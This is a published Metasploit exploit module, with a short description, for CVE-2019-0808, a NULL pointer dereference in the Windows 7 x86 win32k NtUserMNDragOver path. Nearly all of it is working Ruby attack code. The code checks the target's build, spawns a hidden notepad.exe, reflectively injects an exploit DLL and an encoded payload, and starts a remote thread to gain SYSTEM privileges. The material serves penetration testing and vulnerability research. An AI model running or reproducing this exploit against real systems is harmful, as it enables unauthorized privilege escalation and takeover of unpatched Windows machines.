Microsoft Windows NtUserMNDragOver Local Privilege Escalation

This Metasploit module exploits a NULL pointer dereference vulnerability in MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call. The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint() function does not effectively check the validity of the tagPOPUPMENU objects it processes before passing them on to MNGetpItemFromIndex(), where the NULL pointer dereference will occur. This module has been tested against Windows 7 x86 SP0 and SP1. Offsets within the solution may need to be adjusted to work with other versions of Windows, such as Windows Server 2008.


MD5 | e65eeb8c736544fe952269396a557f62

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/post/file'
require 'msf/core/exploit/exe'
require 'msf/core/post/windows/priv'

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Windows NtUserMNDragOver Local Privilege Elevation',
'Description' => %q{
This module exploits a NULL pointer dereference vulnerability in
MNGetpItemFromIndex(), which is reachable via a NtUserMNDragOver() system call.

The NULL pointer dereference occurs because the xxxMNFindWindowFromPoint()
function does not effectively check the validity of the tagPOPUPMENU
objects it processes before passing them on to MNGetpItemFromIndex(),
where the NULL pointer dereference will occur.

This module has been tested against Windows 7 x86 SP0 and SP1. Offsets
within the solution may need to be adjusted to work with other versions
of Windows, such as Windows Server 2008.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Clément Lecigne', # discovery
'Grant Willcox', # exploit
'timwr' # msf module
],
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
['Windows 7 x86', { 'Arch' => ARCH_X86 }]
],
'SideEffects' => [SCREEN_EFFECTS],
'References' =>
[
['CVE', '2019-0808'],
['URL', 'https://github.com/exodusintel/CVE-2019-0808'],
['URL', 'https://github.com/ze0r/cve-2019-0808-poc'],
['URL', 'http://blogs.360.cn/post/RootCause_CVE-2019-0808_EN.html'],
['URL', 'https://blog.exodusintel.com/2019/05/17/windows-within-windows/'],
],
'DisclosureDate' => 'Mar 12 2019',
'DefaultTarget' => 0
)
)
register_options([
OptString.new('PROCESS', [true, 'Name of process to spawn and inject dll into.', 'notepad.exe'])
])
end

def setup_process
process_name = datastore['PROCESS']
begin
print_status("Launching #{process_name} to host the exploit...")
launch_process = client.sys.process.execute(process_name, nil, 'Hidden' => true)
process = client.sys.process.open(launch_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Sandboxes could not allow to create a new process
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_error('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
process
end

def check
sysinfo_value = sysinfo['OS']

if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe
end

build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
# see https://docs.microsoft.com/en-us/windows/release-information/
unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601)
print_error('The exploit only supports Windows 7 versions 7600 and 7601')
return CheckCode::Safe
end

path = expand_path('%WINDIR%\\system32\\win32k.sys')
major, minor, build, revision, brand = file_version(path)
return CheckCode::Safe if revision >= 24387

CheckCode::Appears
end

def exploit
super

if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo['Architecture'] != ARCH_X86
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
end

process = setup_process
library_data = exploit_data('CVE-2019-0808', 'exploit.dll')
print_status("Injecting exploit into #{process.pid} ...")
exploit_mem, offset = inject_dll_data_into_process(process, library_data)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
encoded_payload = payload.encoded
payload_mem = inject_into_process(process, [encoded_payload.length].pack('I<') + encoded_payload)

# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
end
end

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